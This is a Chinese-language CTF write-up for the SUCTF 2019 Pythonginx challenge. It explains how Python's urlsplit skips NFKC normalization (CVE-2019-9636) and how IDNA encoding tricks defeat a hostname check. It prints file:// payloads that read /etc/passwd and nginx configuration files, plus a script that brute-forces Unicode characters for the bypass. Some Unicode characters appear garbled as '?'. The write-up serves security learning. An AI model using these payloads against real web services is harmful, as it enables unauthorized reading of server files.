知识点
- CVE-2019-9636:urlsplit不处理NFKC标准化
- nginx重要文件的位置
- url中的unicode漏洞引发的域名安全问题(19年black hat中的一个议题)
- 跑python脚本(逃~。。。。)
WP
这题自己其实已经找到了方法,但是还是没敢继续尝试。
首先我们需要知道nginx重要文件的位置:
- 配置文件存放目录:/etc/nginx
- 主配置文件:/etc/nginx/conf/nginx.conf
- 管理脚本:/usr/lib64/systemd/system/nginx.service
- 模块:/usr/lisb64/nginx/modules
- 应用程序:/usr/sbin/nginx
- 程序默认存放位置:/usr/share/nginx/html
- 日志默认存放位置:/var/log/nginx
- 配置文件目录为:/usr/local/nginx/conf/nginx.conf
然后就审一审代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | @app.route('/getUrl', methods=['GET', 'POST']) def getUrl(): url = request.args.get("url") host = parse.urlparse(url).hostname if host == 'suctf.cc': return "我扌 your problem? 111" parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) #去掉 url 中的空格 finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return urllib.request.urlopen(finalUrl).read() else: return "我扌 your problem? 333" |
是对host的判断,要绕过前两个判断,方法很多。
方法一
这也是本题的一个非预期解,利用了urlsplit不处理NFKC标准化:
1 | ?url=file:////suctf.cc/etc/passwd |
我从网上找了一个实例:
来源:
[SUCTF 2019]Pythonginx
因此成功绕过,去读/usr/local/nginx/conf/nginx.conf得到flag文件的位置,然后读flag就可以了。
方法二
参考如下文章:
url中的unicode漏洞引发的域名安全问题
idna与utf-8编码漏洞
简单来说,就是?这个字符在经过
1 2 | for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) |
后变成了c/u,因此可以利用。
当时自己做题的时候也发现了这个。。不过受限于nginx的配置文件位置不熟,而且当时自己也没用file协议,导致不知道如何利用。。。唉。。。
最后利用如下:
1 | ?url=file://suctf.c?sr/local/nginx/conf/nginx.conf |
出题人考察的点也正好是这个。
当然也可以换成其他的来利用,比如?来取代c这种操作。
各种字符可以从这里参考:
Appendix:Unicode/Letterlike Symbols
方法三
跑python脚本。。。这个是我找WP的时候看到的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | from urllib.parse import urlparse,urlunsplit,urlsplit from urllib import parse def get_unicode(): for x in range(65536): uni=chr(x) url="http://suctf.c{}".format(uni) try: if getUrl(url): print("str: "+uni+' unicode: \\u'+str(hex(x))[2:]) except: pass def getUrl(url): url = url host = parse.urlparse(url).hostname if host == 'suctf.cc': return False parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return False newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return True else: return False if __name__=="__main__": get_unicode() |
大师父们的点子是真多,服了!